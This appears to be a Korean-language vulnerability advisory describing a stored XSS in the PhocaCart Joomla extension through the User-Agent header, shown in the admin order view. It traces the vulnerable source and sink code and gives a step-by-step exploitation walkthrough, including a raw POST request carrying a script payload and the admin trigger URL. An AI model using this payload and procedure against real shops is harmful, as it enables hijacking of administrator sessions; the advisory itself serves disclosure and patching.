
PhocaCart 관리자 주문 보기의 User-Agent를 통한 저장형 XSS
PhocaCart ≤ 6.1.7 — 인증되지 않은 공격자가 체크아웃을 통해 XSS 페이로드를 저장합니다. 관리자 브라우저 컨텍스트에서 실행됩니다
Joomla용 PhocaCart 6.1.7은 store_user_agent 구성 옵션이 활성화된 경우 체크아웃 요청의 원시 HTTP User-Agent 헤더를 주문 데이터베이스 테이블에 저장합니다. 저장된 값은 이후 Adminview.php의 itemText()를 통해 HTML 인코딩 없이 관리자 주문 편집 보기에 렌더링됩니다.
인증되지 않은 공격자는 JavaScript 페이로드가 포함된 조작된 User-Agent로 주문을 생성할 수 있습니다. 관리자가 백엔드에서 해당 주문을 열면 페이로드가 관리자 브라우저 컨텍스트에서 실행되어 세션 하이재킹, 자격 증명 탈취 또는 무단 관리 작업이 가능해집니다.
이 취약점은 store_user_agent = 1(기본값 아님)이 활성화되어 있어야 합니다. 이 옵션은 브라우저 통계 수집을 위한 관리자의 의도적인 선택이므로, 영향받는 쇼핑몰은 사이트 소유자가 해당 기능을 활성화한 경우입니다. 따라서 공격자의 관점에서 악용은 완전히 조용히 이루어집니다.
| 구성 요소 | 취약 버전 | 테스트 환경 | 수정 버전 |
|---|---|---|---|
| PhocaCart (com_phocacart) | 5.0.0 – 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + MariaDB 10.6 | 6.1.8 |
유형: 저장형 XSS (CWE-79) — 관리자 대상
인증 필요: 주입에는 인증 불필요, 트리거에는 관리자 필요
CSRF 토큰 필요: 예 (체크아웃 시 표준 Joomla CSRF 토큰 필요)
파일: administrator/components/com_phocacart/libraries/Phoca/Render/Adminview.php:382
store_user_agent = 1인 경우 PhocacartUtils::getUserAgent() 메서드는 아무런 삭제(sanitization) 없이 $_SERVER['HTTP_USER_AGENT']를 반환합니다. 이 원시 문자열은 #__phocacart_orders에 저장됩니다(200자로 잘림 — XSS를 방지하기에는 충분하지 않음). 관리자가 백엔드에서 주문을 볼 때 itemText()는 htmlspecialchars() 호출 없이 저장된 값을 HTML 응답에 직접 연결합니다.
데이터 흐름:
Attacker sends checkout request:
User-Agent: <script>alert(document.domain)</script>
utils.php:334 PhocacartUtils::getUserAgent()
└─ return (string) $_SERVER['HTTP_USER_AGENT'] // raw, no sanitization
order.php:413 $d['user_agent'] = substr($user_agent, 0, 200)
└─ INSERT INTO #__phocacart_orders (user_agent) VALUES ('<script>...</script>')
Admin opens order in backend:
edit.php:84 echo $r->itemText($this->itemcommon->user_agent, ...)
Adminview.php:382 '<div class="controls >' . $item . '</div>'
// → NO htmlspecialchars()
→ Browser renders: <div><script>alert(document.domain)</script></div>
→ XSS fires in administrator's browser
ORDER.PHP — 저장 단계 (취약한 소스)
administrator/components/com_phocacart/libraries/phocacart/order/order.php:424
$user_agent = PhocacartUtils::getUserAgent(); // reads $_SERVER['HTTP_USER_AGENT'] raw
$d['user_agent'] = substr($user_agent, 0, 200); // stored in DB unfiltered
ADMINVIEW.PHP:382 — 렌더링 단계 (취약한 싱크)
// No htmlspecialchars() applied:
$output .= ' <div class="controls ' . $class . '">' . $item . '</div>' . "\n";
다음에서 호출됨: administrator/components/com_phocacart/views/phocacartorder/tmpl/edit.php:84:
echo $r->itemText($this->itemcommon->user_agent, Text::_('COM_PHOCACART_USER_AGENT'), '', 'user_agent');
itemText() 함수는 저장된 user_agent 값인 $item을 인코딩 없이 HTML 출력에 직접 전달하므로 주요 싱크가 됩니다. 싱크 수준에서 수정하면 itemText()의 모든 호출자를 보호합니다.
공격은 악의적인 User-Agent 헤더로 전체 체크아웃 흐름을 완료해야 합니다. Joomla의 체크아웃 컨트롤러가 CSRF 토큰을 검증하므로 먼저 토큰을 획득해야 합니다.
Joomla 관리자에서 Components → Phoca Cart → Options → Main tab → Statistics Options로 이동합니다. Store User Agent Information = Yes로 설정하고 저장합니다.

공격자는 체크아웃 컨트롤러에 필요한 유효한 Joomla CSRF 토큰을 추출하기 위해 쇼핑몰 프런트엔드를 방문합니다. 토큰은 모든 쇼핑몰 페이지의 HTML 소스 또는 JavaScript 구성에 나타납니다.

공격자는 무해한 User-Agent를 사용하여 AJAX 체크아웃 엔드포인트를 통해 장바구니에 상품을 추가합니다. 그러면 체크아웃 세션이 다음 상태로 전환됩니다.

공격자는 체크아웃 상태 머신을 진행시키기 위해 청구 정보를 제출합니다.

공격자는 결제를 진행하기 위해 배송 방법을 선택합니다.

공격자는 결제 방법(예: Cash on Delivery)을 선택합니다.

핵심 주입 단계입니다. 공격자는 User-Agent 헤더를 XSS 페이로드로 설정하고 task=checkout.order를 통해 최종 주문을 생성합니다. checkout.order 작업은 원시 HTTP_USER_AGENT를 읽어 이스케이프 없이 #__phocacart_orders.user_agent에 저장합니다.
POST /index.php/shop/checkout HTTP/1.1
Host: TARGET
User-Agent: <script>alert(document.domain)</script>
Content-Type: application/x-www-form-urlencoded
phcheckouttac=1&task=checkout.order&option=com_phocacart&return=&<CSRF_TOKEN>=1
결과: 주문이 생성됩니다. 데이터베이스에는 user_agent = '<script>alert(document.domain)</script>'가 저장됩니다.

관리자가 Components → Phoca Cart → Orders로 이동합니다. 주입된 주문이 목록에 나타납니다. 이 단계에서는 XSS가 아직 트리거되지 않습니다.

관리자가 주문을 클릭하여 편집 보기를 열면 저장된 user_agent가 itemText()를 통해 이스케이프 없이 렌더링됩니다. JavaScript가 즉시 실행됩니다.
트리거 URL:
/administrator/index.php?option=com_phocacart&view=phocacartorder&layout=edit&id=<ORDER_ID>
